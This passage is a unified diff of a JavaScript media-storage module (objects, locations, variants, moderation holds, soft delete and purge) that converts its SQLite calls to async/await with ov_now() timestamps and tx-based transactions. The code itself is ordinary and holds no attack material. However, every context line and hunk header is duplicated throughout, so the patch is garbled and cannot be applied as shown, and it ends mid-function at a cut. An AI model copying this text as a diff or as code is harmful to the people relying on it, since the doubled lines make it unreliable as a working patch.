+ await db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, owner_app, owner_user_id, visibility,
lifecycle_status, mime_type, size_bytes, content_hash, canonical_provider, canonical_key, legacy_ref, metadata, created_at)
lifecycle_status, mime_type, size_bytes, content_hash, canonical_provider, canonical_key, legacy_ref, metadata, created_at)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, CURRENT_TIMESTAMP))`,
- [id, o.app_id, o.namespace || tenantRoot(o.app_id), o.kind, o.owner_subject || null, o.owner_app || null, o.owner_user_id ?? null,
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, ov_now()))`,
+ [id, o.app_id, o.namespace || await tenantRoot(o.app_id), o.kind, o.owner_subject || null, o.owner_app || null, o.owner_user_id ?? null,
VISIBILITIES.includes(o.visibility) ? o.visibility : 'private', LIFECYCLES.includes(o.lifecycle_status) ? o.lifecycle_status : 'uploading',
VISIBILITIES.includes(o.visibility) ? o.visibility : 'private', LIFECYCLES.includes(o.lifecycle_status) ? o.lifecycle_status : 'uploading',
o.mime_type || null, Number(o.size_bytes) || 0, o.content_hash || null, o.canonical_provider || null, o.canonical_key || null,
o.mime_type || null, Number(o.size_bytes) || 0, o.content_hash || null, o.canonical_provider || null, o.canonical_key || null,
o.legacy_ref || null, JSON.stringify(o.metadata || {}), o.created_at || null]);
o.legacy_ref || null, JSON.stringify(o.metadata || {}), o.created_at || null]);
return id;
return id;
}
}
-function updateObject(id, fields) {
+async function updateObject(id, fields) {
const sets = [], params = [];
const sets = [], params = [];
for (const [k, v] of Object.entries(fields)) {
for (const [k, v] of Object.entries(fields)) {
if (!OBJECT_COLUMNS.includes(k)) continue;
if (!OBJECT_COLUMNS.includes(k)) continue;
@@ -163,26 +163,26 @@ function updateObject(id, fields) {
@@ -163,26 +163,26 @@ function updateObject(id, fields) {
}
}
if (!sets.length) return;
if (!sets.length) return;
params.push(id);
params.push(id);
- db.run(`UPDATE media_objects SET ${sets.join(', ')}, updated_at = CURRENT_TIMESTAMP WHERE id = ?`, params);
+ await db.run(`UPDATE media_objects SET ${sets.join(', ')}, updated_at = ov_now() WHERE id = ?`, params);
}
}
/**
/**
* Upsert one provider copy. A remote copy re-derived as 'pending' keeps what
* Upsert one provider copy. A remote copy re-derived as 'pending' keeps what
* reconciliation already verified about the same key (never downgrade knowledge).
* reconciliation already verified about the same key (never downgrade knowledge).
*/
*/
-function upsertLocation(objectId, loc) {
- const existing = db.get('SELECT * FROM media_locations WHERE object_id = ? AND provider = ?', [objectId, loc.provider]);
+async function upsertLocation(objectId, loc) {
+ const existing = await db.get('SELECT * FROM media_locations WHERE object_id = ? AND provider = ?', [objectId, loc.provider]);
const verifiedAt = loc.verified ? new Date().toISOString().replace('T', ' ').slice(0, 19) : null;
const verifiedAt = loc.verified ? new Date().toISOString().replace('T', ' ').slice(0, 19) : null;
if (!existing) {
if (!existing) {
- db.run(`INSERT INTO media_locations (object_id, provider, bucket, key, storage_class, state, checksum, size_bytes, verified_at)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`,
+ await db.run(`INSERT INTO media_locations (object_id, provider, bucket, key, storage_class, state, checksum, size_bytes, verified_at)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,
[objectId, loc.provider, loc.bucket || null, loc.key, loc.storage_class || STORAGE_CLASS[loc.provider] || null,
[objectId, loc.provider, loc.bucket || null, loc.key, loc.storage_class || STORAGE_CLASS[loc.provider] || null,
loc.state || 'pending', loc.checksum || null, loc.size_bytes ?? null, verifiedAt]);
loc.state || 'pending', loc.checksum || null, loc.size_bytes ?? null, verifiedAt]);
return;
return;
}
}
const keep = existing.key === loc.key && (loc.state || 'pending') === 'pending' && existing.state !== 'pending';
const keep = existing.key === loc.key && (loc.state || 'pending') === 'pending' && existing.state !== 'pending';
- db.run(`UPDATE media_locations SET bucket = ?, key = ?, storage_class = ?, state = ?, checksum = ?, size_bytes = ?, verified_at = ?,
- updated_at = CURRENT_TIMESTAMP WHERE id = ?`,
+ await db.run(`UPDATE media_locations SET bucket = ?, key = ?, storage_class = ?, state = ?, checksum = ?, size_bytes = ?, verified_at = ?,
+ updated_at = ov_now() WHERE id = ?`,
[loc.bucket ?? existing.bucket, loc.key, loc.storage_class || existing.storage_class,
[loc.bucket ?? existing.bucket, loc.key, loc.storage_class || existing.storage_class,
keep ? existing.state : (loc.state || 'pending'),
keep ? existing.state : (loc.state || 'pending'),
loc.clearChecksum ? null : (loc.checksum ?? (existing.key === loc.key ? existing.checksum : null)),
loc.clearChecksum ? null : (loc.checksum ?? (existing.key === loc.key ? existing.checksum : null)),
@@ -191,25 +191,25 @@ function upsertLocation(objectId, loc) {
@@ -191,25 +191,25 @@ function upsertLocation(objectId, loc) {
existing.id]);
existing.id]);
}
}
-function setLocationState(locationId, { state, size_bytes, verified = true }) {
- db.run(`UPDATE media_locations SET state = ?, size_bytes = COALESCE(?, size_bytes), verified_at = ${verified ? 'CURRENT_TIMESTAMP' : 'verified_at'},
- updated_at = CURRENT_TIMESTAMP WHERE id = ?`, [state, size_bytes ?? null, locationId]);
+async function setLocationState(locationId, { state, size_bytes, verified = true }) {
+ await db.run(`UPDATE media_locations SET state = ?, size_bytes = COALESCE(?, size_bytes), verified_at = ${verified ? 'ov_now()' : 'verified_at'},
+ updated_at = ov_now() WHERE id = ?`, [state, size_bytes ?? null, locationId]);
}
}
-function setRelationship(fromId, relation, toId, metadata = {}) {
- db.run(`INSERT INTO media_relationships (from_object_id, relation, to_object_id, metadata) VALUES (?, ?, ?, ?)
- ON CONFLICT(from_object_id, relation, to_object_id) DO UPDATE SET metadata = excluded.metadata`,
+async function setRelationship(fromId, relation, toId, metadata = {}) {
+ await db.run(`INSERT INTO media_relationships (from_object_id, relation, to_object_id, metadata) VALUES (?, ?, ?, ?)
+ ON CONFLICT(from_object_id, relation, to_object_id) DO UPDATE SET metadata = excluded.metadata RETURNING id`,
[fromId, relation, toId, JSON.stringify(metadata)]);
[fromId, relation, toId, JSON.stringify(metadata)]);
}
}
-function setVariant(objectId, variantName, derivedId, recipe = null) {
- db.run(`INSERT INTO media_variants (object_id, variant_name, derived_object_id, recipe) VALUES (?, ?, ?, ?)
- ON CONFLICT(object_id, variant_name) DO UPDATE SET derived_object_id = excluded.derived_object_id, recipe = excluded.recipe`,
+async function setVariant(objectId, variantName, derivedId, recipe = null) {
+ await db.run(`INSERT INTO media_variants (object_id, variant_name, derived_object_id, recipe) VALUES (?, ?, ?, ?)
+ ON CONFLICT(object_id, variant_name) DO UPDATE SET derived_object_id = excluded.derived_object_id, recipe = excluded.recipe RETURNING id`,
[objectId, variantName, derivedId, recipe]);
[objectId, variantName, derivedId, recipe]);
}
}
-function getVariant(objectId, variantName) {
- return db.get('SELECT * FROM media_variants WHERE object_id = ? AND variant_name = ?', [objectId, variantName]);
+async function getVariant(objectId, variantName) {
+ return await db.get('SELECT * FROM media_variants WHERE object_id = ? AND variant_name = ?', [objectId, variantName]);
}
}
// ── Projection core ──────────────────────────────────────────
// ── Projection core ──────────────────────────────────────────
@@ -220,11 +220,11 @@ function getVariant(objectId, variantName) {
@@ -220,11 +220,11 @@ function getVariant(objectId, variantName) {
* p.locations [{ provider, bucket, key, state, size_bytes, checksum }]
* p.locations [{ provider, bucket, key, state, size_bytes, checksum }]
* p.canonical preferred canonical provider (falls back to the first location)
* p.canonical preferred canonical provider (falls back to the first location)
*/
*/
-function project(p) {
- const found = getObjectByLegacyRef(p.legacy_ref) || (p.existingId ? getObject(p.existingId) : null);
+async function project(p) {
+ const found = await getObjectByLegacyRef(p.legacy_ref) || (p.existingId ? await getObject(p.existingId) : null);
const canon = p.locations.find(l => l.provider === p.canonical) || p.locations[0] || null;
const canon = p.locations.find(l => l.provider === p.canonical) || p.locations[0] || null;
const fields = {
const fields = {
- app_id: p.app_id, namespace: tenantRoot(p.app_id), kind: p.kind,
+ app_id: p.app_id, namespace: await tenantRoot(p.app_id), kind: p.kind,
owner_app: p.owner_app || p.app_id, owner_user_id: p.owner_user_id ?? null,
owner_app: p.owner_app || p.app_id, owner_user_id: p.owner_user_id ?? null,
visibility: p.visibility, lifecycle_status: p.lifecycle_status,
visibility: p.visibility, lifecycle_status: p.lifecycle_status,
mime_type: p.mime_type || null, size_bytes: Number(p.size_bytes) || 0, content_hash: p.content_hash || null,
mime_type: p.mime_type || null, size_bytes: Number(p.size_bytes) || 0, content_hash: p.content_hash || null,
@@ -256,14 +256,14 @@ function project(p) {
@@ -256,14 +256,14 @@ function project(p) {
if (String(found.owner_app || found.app_id) !== String(fields.owner_app) || String(found.owner_user_id ?? '') !== String(fields.owner_user_id ?? '')) {
if (String(found.owner_app || found.app_id) !== String(fields.owner_app) || String(found.owner_user_id ?? '') !== String(fields.owner_user_id ?? '')) {
fields.owner_subject = null;
fields.owner_subject = null;
}
}
- updateObject(id, fields);
+ await updateObject(id, fields);
} else {
} else {
- id = createObject({ ...fields, createdMs: toMs(p.created_at), created_at: p.created_at || null });
+ id = await createObject({ ...fields, createdMs: toMs(p.created_at), created_at: p.created_at || null });
created = true;
created = true;
}
}
const keep = new Set(p.locations.map(l => l.provider));
const keep = new Set(p.locations.map(l => l.provider));
- for (const loc of p.locations) upsertLocation(id, staleHash && loc.provider === 'local' ? { ...loc, clearChecksum: true } : loc);
- for (const l of listLocations(id)) if (!keep.has(l.provider)) db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);
+ for (const loc of p.locations) await upsertLocation(id, staleHash && loc.provider === 'local' ? { ...loc, clearChecksum: true } : loc);
+ for (const l of await listLocations(id)) if (!keep.has(l.provider)) await db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);
return { id, created };
return { id, created };
}
}
@@ -292,12 +292,12 @@ function tieredLocations(row, localCandidates) {
@@ -292,12 +292,12 @@ function tieredLocations(row, localCandidates) {
return { locs, canonical: remoteKnown ? 'b2' : 'local' };
return { locs, canonical: remoteKnown ? 'b2' : 'local' };
}
}
-function linkRow(table, keyCol, keyVal, objectId) {
- db.run(`UPDATE ${table} SET object_id = ? WHERE ${keyCol} = ? AND (object_id IS NULL OR object_id != ?)`, [objectId, keyVal, objectId]);
+async function linkRow(table, keyCol, keyVal, objectId) {
+ await db.run(`UPDATE ${table} SET object_id = ? WHERE ${keyCol} = ? AND (object_id IS NULL OR object_id != ?)`, [objectId, keyVal, objectId]);
}
}
-function recordInvariant(objectId) {
- try { require('./invariant').record(getObject(objectId)); } catch (err) { console.warn('[Objects] invariant record:', err.message); }
+async function recordInvariant(objectId) {
+ try { await require('./invariant').record(await getObject(objectId)); } catch (err) { console.warn('[Objects] invariant record:', err.message); }
}
}
// ── Per-kind projections ─────────────────────────────────────
// ── Per-kind projections ─────────────────────────────────────
@@ -379,49 +379,49 @@ function pasteProjection(row) {
@@ -379,49 +379,49 @@ function pasteProjection(row) {
};
};
}
}
-function syncVod(idOrRow) {
- const row = typeof idOrRow === 'object' ? idOrRow : db.get('SELECT * FROM vods WHERE id = ?', [idOrRow]);
+async function syncVod(idOrRow) {
+ const row = typeof idOrRow === 'object' ? idOrRow : await db.get('SELECT * FROM vods WHERE id = ?', [idOrRow]);
if (!row) return null;
if (!row) return null;
const p = vodProjection(row);
const p = vodProjection(row);
if (p.skipped) return p;
if (p.skipped) return p;
- const r = project(p);
- linkRow('vods', 'id', row.id, r.id);
- recordInvariant(r.id);
- const thumbnail = syncThumbnail(row, r.id, 'vod');
+ const r = await project(p);
+ await linkRow('vods', 'id', row.id, r.id);
+ await recordInvariant(r.id);
+ const thumbnail = await syncThumbnail(row, r.id, 'vod');
return { ...r, locations: p.locations.map(l => l.state), thumbnail };
return { ...r, locations: p.locations.map(l => l.state), thumbnail };
}
}
-function syncClip(idOrRow) {
- const row = typeof idOrRow === 'object' ? idOrRow : db.get('SELECT * FROM clips WHERE id = ?', [idOrRow]);
+async function syncClip(idOrRow) {
+ const row = typeof idOrRow === 'object' ? idOrRow : await db.get('SELECT * FROM clips WHERE id = ?', [idOrRow]);
if (!row) return null;
if (!row) return null;
const p = clipProjection(row);
const p = clipProjection(row);
- const r = project(p);
- linkRow('clips', 'id', row.id, r.id);
+ const r = await project(p);
+ await linkRow('clips', 'id', row.id, r.id);
if (row.vod_id) {
if (row.vod_id) {
- const vod = db.get('SELECT object_id FROM vods WHERE id = ?', [row.vod_id]);
- if (vod && vod.object_id) setRelationship(r.id, 'clip_of', vod.object_id, { start_time: row.start_time, end_time: row.end_time });
+ const vod = await db.get('SELECT object_id FROM vods WHERE id = ?', [row.vod_id]);
+ if (vod && vod.object_id) await setRelationship(r.id, 'clip_of', vod.object_id, { start_time: row.start_time, end_time: row.end_time });
}
}
- recordInvariant(r.id);
- const thumbnail = syncThumbnail(row, r.id, 'clip');
+ await recordInvariant(r.id);
+ const thumbnail = await syncThumbnail(row, r.id, 'clip');
return { ...r, locations: p.locations.map(l => l.state), thumbnail };
return { ...r, locations: p.locations.map(l => l.state), thumbnail };
}
}
-function syncFile(keyOrRow) {
- const row = typeof keyOrRow === 'object' ? keyOrRow : db.get('SELECT * FROM files WHERE key = ?', [keyOrRow]);
+async function syncFile(keyOrRow) {
+ const row = typeof keyOrRow === 'object' ? keyOrRow : await db.get('SELECT * FROM files WHERE key = ?', [keyOrRow]);
if (!row) return null;
if (!row) return null;
const p = fileProjection(row);
const p = fileProjection(row);
- const r = project(p);
- linkRow('files', 'key', row.key, r.id);
+ const r = await project(p);
+ await linkRow('files', 'key', row.key, r.id);
return { ...r, locations: [p.locations[0].state] };
return { ...r, locations: [p.locations[0].state] };
}
}
-function syncPaste(idOrRow) {
- const row = typeof idOrRow === 'object' ? idOrRow : db.get('SELECT * FROM pastes WHERE id = ?', [idOrRow]);
+async function syncPaste(idOrRow) {
+ const row = typeof idOrRow === 'object' ? idOrRow : await db.get('SELECT * FROM pastes WHERE id = ?', [idOrRow]);
if (!row) return null;
if (!row) return null;
const p = pasteProjection(row);
const p = pasteProjection(row);
if (p.skipped) return p;
if (p.skipped) return p;
- const r = project(p);
- linkRow('pastes', 'id', row.id, r.id);
+ const r = await project(p);
+ await linkRow('pastes', 'id', row.id, r.id);
return { ...r, kind: p.kind, locations: [p.locations[0].state] };
return { ...r, kind: p.kind, locations: [p.locations[0].state] };
}
}
@@ -459,13 +459,13 @@ function thumbnailProjection(parentRow, parentKind) {
@@ -459,13 +459,13 @@ function thumbnailProjection(parentRow, parentKind) {
};
};
}
}
-function syncThumbnail(parentRow, parentObjectId, parentKind) {
+async function syncThumbnail(parentRow, parentObjectId, parentKind) {
const p = thumbnailProjection(parentRow, parentKind);
const p = thumbnailProjection(parentRow, parentKind);
if (!p || p.skipped) return p;
if (!p || p.skipped) return p;
- const variant = getVariant(parentObjectId, 'thumbnail');
- const r = project({ ...p, existingId: variant ? variant.derived_object_id : null });
- setVariant(parentObjectId, 'thumbnail', r.id);
- setRelationship(r.id, 'thumbnail_of', parentObjectId);
+ const variant = await getVariant(parentObjectId, 'thumbnail');
+ const r = await project({ ...p, existingId: variant ? variant.derived_object_id : null });
+ await setVariant(parentObjectId, 'thumbnail', r.id);
+ await setRelationship(r.id, 'thumbnail_of', parentObjectId);
return { ...r, locations: [p.locations[0].state] };
return { ...r, locations: [p.locations[0].state] };
}
}
@@ -475,15 +475,15 @@ function syncThumbnail(parentRow, parentObjectId, parentKind) {
@@ -475,15 +475,15 @@ function syncThumbnail(parentRow, parentObjectId, parentKind) {
* outer one records the changes at its end, in the same transaction and after its own outcome event,
* outer one records the changes at its end, in the same transaction and after its own outcome event,
* the order they had when the object was synced after the commit.
* the order they had when the object was synced after the commit.
*/
*/
-function _syncTx(fn) {
+async function _syncTx(fn) {
const events = require('../events');
const events = require('../events');
const raw = db.getDb();
const raw = db.getDb();
- const outer = raw.inTransaction;
- const out = raw.transaction(() => {
- const r = fn();
- if (!outer) events.recordObjectChanges();
+ const outer = raw.inTransaction();
+ const out = await raw.tx(async () => {
+ const r = await fn();
+ if (!outer) await events.recordObjectChanges();
return r;
return r;
- })();
+ });
if (!outer) events.kick();
if (!outer) events.kick();
return out;
return out;
}
}
@@ -496,27 +496,27 @@ function _rowIds(ids, out) {
@@ -496,27 +496,27 @@ function _rowIds(ids, out) {
}
}
/** Re-project one inherited row: kind vod|clip|file|paste, id = row id (file key for files). */
/** Re-project one inherited row: kind vod|clip|file|paste, id = row id (file key for files). */
-function sync(kind, id) {
+async function sync(kind, id) {
const fn = SYNC_BY_KIND[kind];
const fn = SYNC_BY_KIND[kind];
if (!fn || id == null) return null;
if (!fn || id == null) return null;
- return _syncTx(() => fn(id));
+ return await _syncTx(async () => await fn(id));
}
}
/**
/**
* Never-throwing re-projection, for follow-ups that re-read what is on disk after a write already
* Never-throwing re-projection, for follow-ups that re-read what is on disk after a write already
* committed with its object (see withObject), and for scripts. Not a write path any more.
* committed with its object (see withObject), and for scripts. Not a write path any more.
*/
*/
-function safeSync(kind, id) {
- try { return sync(kind, id); } catch (err) { console.warn(`[Objects] sync ${kind} ${id}:`, err.message); return null; }
+async function safeSync(kind, id) {
+ try { return await sync(kind, id); } catch (err) { console.warn(`[Objects] sync ${kind} ${id}:`, err.message); return null; }
}
}
/**
/**
* Object-first write (WS-G task 1; retires compatibility shim C-75, "write the row, then sync its
* Object-first write (WS-G task 1; retires compatibility shim C-75, "write the row, then sync its
* object"): write() changes inherited rows and the objects behind them are re-projected in the SAME
* object"): write() changes inherited rows and the objects behind them are re-projected in the SAME
- * SQLite transaction, so both commit or neither does: no crash or error between the two can leave
+ * transaction, so both commit or neither does: no crash or error between the two can leave
* an object behind its row. kind vod|clip|file|paste; ids the row id (a file's key), a list of them,
* an object behind its row. kind vod|clip|file|paste; ids the row id (a file's key), a list of them,
* or a function of write()'s result that gives them (an INSERT's lastInsertRowid). write() must be
* or a function of write()'s result that gives them (an INSERT's lastInsertRowid). write() must be
- * synchronous database work. Returns write()'s result; throws, with nothing written, when either
+ * database work (awaited). Returns write()'s result; throws, with nothing written, when either
* part fails. Inside an outer transaction (webhooks.announce) it is a savepoint of that one.
* part fails. Inside an outer transaction (webhooks.announce) it is a savepoint of that one.
*
*
* The projection stats local files (sizes, present/missing copies) but never reads them: content
* The projection stats local files (sizes, present/missing copies) but never reads them: content
@@ -524,12 +524,12 @@ function safeSync(kind, id) {
@@ -524,12 +524,12 @@ function safeSync(kind, id) {
* tier move verifies them (afterTierMove), as before. A row write() deleted needs nothing: the
* tier move verifies them (afterTierMove), as before. A row write() deleted needs nothing: the
* row-delete trigger marks its object deleted in the same statement (server/db/database.js).
* row-delete trigger marks its object deleted in the same statement (server/db/database.js).
*/
*/
-function withObject(kind, ids, write) {
+async function withObject(kind, ids, write) {
const fn = SYNC_BY_KIND[kind];
const fn = SYNC_BY_KIND[kind];
if (!fn) throw new Error(`withObject: unknown projection ${kind}`);
if (!fn) throw new Error(`withObject: unknown projection ${kind}`);
- return _syncTx(() => {
- const out = write();
- for (const id of _rowIds(ids, out)) fn(id);
+ return await _syncTx(async () => {
+ const out = await write();
+ for (const id of _rowIds(ids, out)) await fn(id);
return out;
return out;
});
});
}
}
@@ -540,11 +540,11 @@ function withObject(kind, ids, write) {
@@ -540,11 +540,11 @@ function withObject(kind, ids, write) {
* combined transaction fails, the row is written alone and the object re-projected after it (the
* combined transaction fails, the row is written alone and the object re-projected after it (the
* pre-WS-G two steps; logged, and the drift report lists the row until a later write catches up).
* pre-WS-G two steps; logged, and the drift report lists the row until a later write catches up).
*/
*/
-function withObjectOrRow(kind, ids, write) {
- try { return withObject(kind, ids, write); } catch (err) {
+async function withObjectOrRow(kind, ids, write) {
+ try { return await withObject(kind, ids, write); } catch (err) {
console.warn(`[Objects] ${kind}: object not written with its row (${err.message}); writing the row alone`);
console.warn(`[Objects] ${kind}: object not written with its row (${err.message}); writing the row alone`);
- const out = write();
- for (const id of _rowIds(ids, out)) safeSync(kind, id);
+ const out = await write();
+ for (const id of _rowIds(ids, out)) await safeSync(kind, id);
return out;
return out;
}
}
}
}
@@ -556,22 +556,22 @@ function withObjectOrRow(kind, ids, write) {
@@ -556,22 +556,22 @@ function withObjectOrRow(kind, ids, write) {
* object: when the combined transaction fails the row is flipped alone and re-projected after it
* object: when the combined transaction fails the row is flipped alone and re-projected after it
* (as withObjectOrRow). Without write(), the re-projection alone. The object part never throws.
* (as withObjectOrRow). Without write(), the re-projection alone. The object part never throws.
*/
*/
-function afterTierMove(vodId, verifiedProviders = [], write = null) {
- const reproject = () => {
- const r = syncVod(vodId);
+async function afterTierMove(vodId, verifiedProviders = [], write = null) {
+ const reproject = async () => {
+ const r = await syncVod(vodId);
if (!r || !r.id) return;
if (!r || !r.id) return;
- for (const l of listLocations(r.id)) {
- if (verifiedProviders.includes(l.provider)) setLocationState(l.id, { state: 'present' });
+ for (const l of await listLocations(r.id)) {
+ if (verifiedProviders.includes(l.provider)) await setLocationState(l.id, { state: 'present' });
}
}
};
};
let out;
let out;
if (write) {
if (write) {
- try { return _syncTx(() => { const w = write(); reproject(); return w; }); } catch (err) {
+ try { return await _syncTx(async () => { const w = await write(); await reproject(); return w; }); } catch (err) {
console.warn(`[Objects] tier move vod ${vodId}: object not written with its row (${err.message}); flipping the row alone`);
console.warn(`[Objects] tier move vod ${vodId}: object not written with its row (${err.message}); flipping the row alone`);
- out = write();
+ out = await write();
}
}
}
}
- try { _syncTx(reproject); } catch (err) { console.warn(`[Objects] tier sync vod ${vodId}:`, err.message); }
+ try { await _syncTx(reproject); } catch (err) { console.warn(`[Objects] tier sync vod ${vodId}:`, err.message); }
return out;
return out;
}
}
@@ -581,12 +581,12 @@ function afterTierMove(vodId, verifiedProviders = [], write = null) {
@@ -581,12 +581,12 @@ function afterTierMove(vodId, verifiedProviders = [], write = null) {
* A staff hold placed or released is a moderation action (media.moderation.action, ADR-022): announced in
* A staff hold placed or released is a moderation action (media.moderation.action, ADR-022): announced in
* the transaction that records it, for Network's moderation audit. A creator's own pin is not moderation.
* the transaction that records it, for Network's moderation audit. A creator's own pin is not moderation.
*/
*/
-function announceHold(action, hold, by) {
+async function announceHold(action, hold, by) {
if (!hold || hold.kind === 'creator_pin') return;
if (!hold || hold.kind === 'creator_pin') return;
- const obj = getObject(hold.object_id);
+ const obj = await getObject(hold.object_id);
if (!obj) return;
if (!obj) return;
const who = String(by || '');
const who = String(by || '');
- require('../events').recordModeration(obj.app_id, {
+ await require('../events').recordModeration(obj.app_id, {
action,
action,
target: { type: obj.kind, id: obj.id, ...(obj.owner_subject ? { owner_subject: obj.owner_subject } : {}) },
target: { type: obj.kind, id: obj.id, ...(obj.owner_subject ? { owner_subject: obj.owner_subject } : {}) },
actor_subject: /^usr_[0-9A-HJKMNP-TV-Z]{26}$/.test(who) ? who : null,
actor_subject: /^usr_[0-9A-HJKMNP-TV-Z]{26}$/.test(who) ? who : null,
@@ -596,15 +596,15 @@ function announceHold(action, hold, by) {
@@ -596,15 +596,15 @@ function announceHold(action, hold, by) {
}
}
/** Place a hold. created_by (or placed_by) is who placed it; note is free text for staff (≤ 2000). */
/** Place a hold. created_by (or placed_by) is who placed it; note is free text for staff (≤ 2000). */
-function placeHold({ object_id, kind, reason = '', created_by = null, placed_by = null, note = null }) {
+async function placeHold({ object_id, kind, reason = '', created_by = null, placed_by = null, note = null }) {
if (!HOLD_KINDS.includes(kind)) throw new Error(`hold kind must be one of ${HOLD_KINDS.join(', ')}`);
if (!HOLD_KINDS.includes(kind)) throw new Error(`hold kind must be one of ${HOLD_KINDS.join(', ')}`);
- return db.getDb().transaction(() => {
- const r = db.run('INSERT INTO media_holds (object_id, kind, reason, created_by, note) VALUES (?, ?, ?, ?, ?)',
+ return await db.getDb().tx(async () => {
+ const r = await db.run('INSERT INTO media_holds (object_id, kind, reason, created_by, note) VALUES (?, ?, ?, ?, ?) RETURNING id',
[object_id, kind, String(reason || '').slice(0, 1000), placed_by ?? created_by, note == null || note === '' ? null : String(note).slice(0, 2000)]);
[object_id, kind, String(reason || '').slice(0, 1000), placed_by ?? created_by, note == null || note === '' ? null : String(note).slice(0, 2000)]);
- const hold = db.get('SELECT * FROM media_holds WHERE id = ?', [r.lastInsertRowid]);
- announceHold('hold.placed', hold, placed_by ?? created_by);
+ const hold = await db.get('SELECT * FROM media_holds WHERE id = ?', [r.lastInsertRowid]);
+ await announceHold('hold.placed', hold, placed_by ?? created_by);
return hold;
return hold;
- })();
+ });
}
}
/** A hold as the APIs answer it: the row, plus placed_by / placed_at (the names staff tools use for created_by / created_at). */
/** A hold as the APIs answer it: the row, plus placed_by / placed_at (the names staff tools use for created_by / created_at). */
@@ -613,13 +613,13 @@ function holdPublic(h) {
@@ -613,13 +613,13 @@ function holdPublic(h) {
return { ...h, note: h.note ?? null, placed_by: h.created_by ?? null, placed_at: h.created_at ?? null };
return { ...h, note: h.note ?? null, placed_by: h.created_by ?? null, placed_at: h.created_at ?? null };
}
}
-function releaseHold(holdId, releasedBy = null) {
- return db.getDb().transaction(() => {
- const r = db.run('UPDATE media_holds SET released_at = CURRENT_TIMESTAMP, released_by = ? WHERE id = ? AND released_at IS NULL', [releasedBy, holdId]);
- const hold = db.get('SELECT * FROM media_holds WHERE id = ?', [holdId]);
- if (r.changes) announceHold('hold.released', hold, releasedBy);
+async function releaseHold(holdId, releasedBy = null) {
+ return await db.getDb().tx(async () => {
+ const r = await db.run('UPDATE media_holds SET released_at = ov_now(), released_by = ? WHERE id = ? AND released_at IS NULL', [releasedBy, holdId]);
+ const hold = await db.get('SELECT * FROM media_holds WHERE id = ?', [holdId]);
+ if (r.changes) await announceHold('hold.released', hold, releasedBy);
return hold;
return hold;
- })();
+ });
}
}
// ── Native objects: soft delete, restore, purge, quota ───────
// ── Native objects: soft delete, restore, purge, quota ───────
@@ -628,31 +628,31 @@ function objectFilePath(obj) {
@@ -628,31 +628,31 @@ function objectFilePath(obj) {
return path.join(config.objects.path, obj.app_id, obj.id);
return path.join(config.objects.path, obj.app_id, obj.id);
}
}
-function softDelete(obj, { by = null } = {}) {
- if (isHeld(obj.id)) throw new HeldError(obj.id);
+async function softDelete(obj, { by = null } = {}) {
+ if (await isHeld(obj.id)) throw new HeldError(obj.id);
const md = parseJson(obj.metadata, {});
const md = parseJson(obj.metadata, {});
md.pre_delete_status = obj.lifecycle_status;
md.pre_delete_status = obj.lifecycle_status;
md.retention_until = new Date(Date.now() + config.objects.retentionDays * 864e5).toISOString();
md.retention_until = new Date(Date.now() + config.objects.retentionDays * 864e5).toISOString();
if (by) md.deleted_by = by;
if (by) md.deleted_by = by;
const events = require('../events');
const events = require('../events');
- db.getDb().transaction(() => {
- db.run(`UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = CURRENT_TIMESTAMP, metadata = ?, updated_at = CURRENT_TIMESTAMP
+ await db.getDb().tx(async () => {
+ await db.run(`UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = ov_now(), metadata = ?, updated_at = ov_now()
WHERE id = ?`, [JSON.stringify(md), obj.id]);
WHERE id = ?`, [JSON.stringify(md), obj.id]);
- require('./namespaces').settle(obj.id); // an upload deleted before it completed holds no quota
- events.recordObjectChanges(); // media.object.deleted commits with the delete
- })();
+ await require('./namespaces').settle(obj.id); // an upload deleted before it completed holds no quota
+ await events.recordObjectChanges(); // media.object.deleted commits with the delete
+ });
events.kick();
events.kick();
- return getObject(obj.id);
+ return await getObject(obj.id);
}
}
-function restore(obj) {
+async function restore(obj) {
const md = parseJson(obj.metadata, {});
const md = parseJson(obj.metadata, {});
if (md.purged_at) return null;
if (md.purged_at) return null;
const back = md.pre_delete_status && md.pre_delete_status !== 'deleted' ? md.pre_delete_status : 'ready';
const back = md.pre_delete_status && md.pre_delete_status !== 'deleted' ? md.pre_delete_status : 'ready';
delete md.pre_delete_status; delete md.retention_until; delete md.deleted_by;
delete md.pre_delete_status; delete md.retention_until; delete md.deleted_by;
- db.run(`UPDATE media_objects SET lifecycle_status = ?, deleted_at = NULL, metadata = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ?`,
+ await db.run(`UPDATE media_objects SET lifecycle_status = ?, deleted_at = NULL, metadata = ?, updated_at = ov_now() WHERE id = ?`,
[back, JSON.stringify(md), obj.id]);
[back, JSON.stringify(md), obj.id]);
- return getObject(obj.id);
+ return await getObject(obj.id);
}
}
/**
/**
@@ -662,21 +662,21 @@ function restore(obj) {
@@ -662,21 +662,21 @@ function restore(obj) {
* has a copy in the R2 popularity cache: the object tiering removes that first
* has a copy in the R2 popularity cache: the object tiering removes that first
* (./tiering.js demotes deleted objects), so a purge never leaves it behind.
* (./tiering.js demotes deleted objects), so a purge never leaves it behind.
*/
*/
-function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {
- const rows = db.all(`SELECT * FROM media_objects WHERE lifecycle_status = 'deleted' AND legacy_ref IS NULL
+async function purgeExpired({ retentionDays = config.objects.retentionDays } = {}) {
+ const rows = await db.all(`SELECT * FROM media_objects WHERE lifecycle_status = 'deleted' AND legacy_ref IS NULL
AND deleted_at <= datetime('now', ?)`, [`-${Math.max(0, retentionDays)} days`]);
AND deleted_at <= datetime('now', ?)`, [`-${Math.max(0, retentionDays)} days`]);
const root = path.resolve(config.objects.path) + path.sep;
const root = path.resolve(config.objects.path) + path.sep;
let purged = 0;
let purged = 0;
for (const obj of rows) {
for (const obj of rows) {
const md = parseJson(obj.metadata, {});
const md = parseJson(obj.metadata, {});
- if (md.purged_at || isHeld(obj.id)) continue;
- if (listLocations(obj.id).some(l => l.provider === 'r2')) continue;
- for (const l of listLocations(obj.id)) {
+ if (md.purged_at || await isHeld(obj.id)) continue;
